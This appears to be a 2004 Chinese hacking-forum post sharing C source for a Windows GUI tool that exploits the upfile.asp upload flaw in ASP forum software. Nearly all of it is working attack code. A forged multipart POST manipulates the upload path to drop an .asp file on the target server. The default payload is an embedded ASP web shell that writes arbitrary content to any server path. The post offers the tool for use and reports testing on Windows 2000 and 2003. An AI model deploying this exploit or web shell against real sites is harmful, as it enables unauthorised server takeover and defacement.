|
楼主 |
发表于 2004-5-22 23:46:37
|
显示全部楼层
写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:
#include <winsock2.h>
#include <stdio.h>
#include "Resource.h"
#pragma comment(lib,"ws2_32.lib")
HINSTANCE g_hInst;
HWND g_hWnd;
HWND m_up;
HWND m_host;
HWND m_webpath;
HWND m_path;
HWND m_filename;
HWND m_upload;
DWORD m_theadid;
BYTE sendbuf[10000];
char host[80]; //主机地址
char bbspath[50]; //论坛地址
char uppath[20]; //上传目录
char upfilename[50]; //上传文件名
char upfiledata[8000]; //上传文件内容
int sendsize; //总传送数据大小
int realsndsize = 0; //传送页面文件的大小
char snddata[8000];
char mm[1000]=
"<%dim objFSO%>\r\n"
"<%dim fdata%>\r\n"
"<%dim objCountFile%>\r\n"
"<%on error resume next%>\r\n"
"<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n"
"<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n"
"<%fdata = request(\"cyfddata\")%>\r\n"
"<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n"
"<%objCountFile.Write fdata%>\r\n"
"<%if err =0 then%>\r\n"
"<%response.write \"<font color=red>save Success!</font>\"%>\r\n"
"<%else%>"
"<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n"
"<%end if%>\r\n"
"<%err.clear%>\r\n"
"<%end if%>"
"<%objCountFile.Close%>\r\n"
"<%Set objCountFile=Nothing%>\r\n"
"<%Set objFSO = Nothing%>"
"<%Response.write \"<form action=\'\' method=post>\"%>\r\n"
"<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n"
"<%Response.Write \"<br>\"%>\r\n"
"<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n"
"<%Response.write \"<br>\"%>\r\n"
"<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n"
"<%Response.write \"<input type=submit value=save>\"%>\r\n"
"<%Response.write \"</form>\"%>\r\n";
//获得控件文本
char *gettext(HWND chwnd)
{
char tmpbuf[10000];
SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
return tmpbuf;
}
//设置控件文本
void settext(HWND chwnd,char *text)
{
SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
}
char *itos(int data)
{
char tmp[10];
sprintf(tmp, "%d", data);
return tmp;
}
//上传线程
DWORD WINAPI uploadthread(LPVOID param)
{
SOCKET s;
sockaddr_in sin;
struct hostent * hp;
unsigned int addr;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
ZeroMemory((void *)&sin, sizeof(sin));
hp = gethostbyname(gettext(m_host));
if (!hp)
addr = inet_addr(gettext(m_host));
if ((!hp) && (addr == INADDR_NONE) )
{
MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);
return 0;
}
if (hp != NULL)
memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
else
sin.sin_addr.s_addr = addr;
sin.sin_port = htons(80);
sin.sin_family = AF_INET;
strcpy(host, gettext(m_host));
strcpy(bbspath, gettext(m_webpath));
strcpy(upfiledata, gettext(m_upload));
strcpy(uppath, gettext(m_path));
strcpy(upfilename, gettext(m_filename));
realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;
sprintf((char *)sendbuf, "OST %s/upfile.asp HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
"Referer: <a href="http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp" target="_blank" >http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp</A>\r\n"
"Accept-Language: zh-cn\r\n"
"Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"
"Host: %s\r\n"
"Content-Length: %d\r\n"
"Connection: Keep-Alive\r\n"
"Cache-Control: no-cache\r\n"
"Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"
"%s\\%s",
bbspath,
host,
realsndsize,
uppath,
upfilename);
sendsize = strlen((char *)sendbuf);
sendbuf[sendsize] = '\0';
sprintf(snddata,
"\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"act\"\r\n\r\n"
"upload\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n"
"Content-Type: text/plain\r\n\r\n"
"%s\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"fname\"\r\n\r\n"
"C:\\1.gif\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"
"上传\r\n"
"-----------------------------7d4a325500d2--\r\n\r\n",
upfiledata);
strcat((char *)&sendbuf[sendsize+1], snddata);
sendsize += strlen(snddata);
sendsize += 1;
if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
{
MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_ICONERROR);
return 0;
}
int sendsz = send(s, (char *)sendbuf, sendsize, 0);
if(sendsz <= 0)
MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);
char recvbuf[10000];
recv(s, (char*)recvbuf, 10000, 0);
settext(m_upload, recvbuf);
closesocket(s);
return 0;
}
void WINAPI On_Command(WPARAM wParam)
{
switch (LOWORD(wParam))
{
case ID_UP:
CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);
break;
case IDCANCEL:
SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
break;
}
}
static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch (msg)
{
case WM_INITDIALOG:
g_hWnd = hWndDlg;
m_up = GetDlgItem(g_hWnd, ID_UP);
m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
settext(m_host, "192.168.10.101");
settext(m_webpath, "/");
settext(m_path, "uploadface");
settext(m_filename, "zwell.asp");
settext(m_upload, mm);
return TRUE;
case WM_COMMAND:
On_Command(wParam);
break;
case WM_SIZE:
break;
case WM_CLOSE:
EndDialog(g_hWnd,0);
break;
}
return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
WSADATA wsaData;
g_hInst=hInstance;
if(WSAStartup(MAKEWORD(1, 1), &wsaData))
{
MessageBox(NULL,"无法初始化 Winsock DLL\t","错误",MB_OK|MB_ICONSTOP);
return 0;
}
DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc);
WSACleanup();
return 1;
}
WINDOWS2003 + VC.NET
WINDOWS2003 WINDOWS2000测试通过
|
|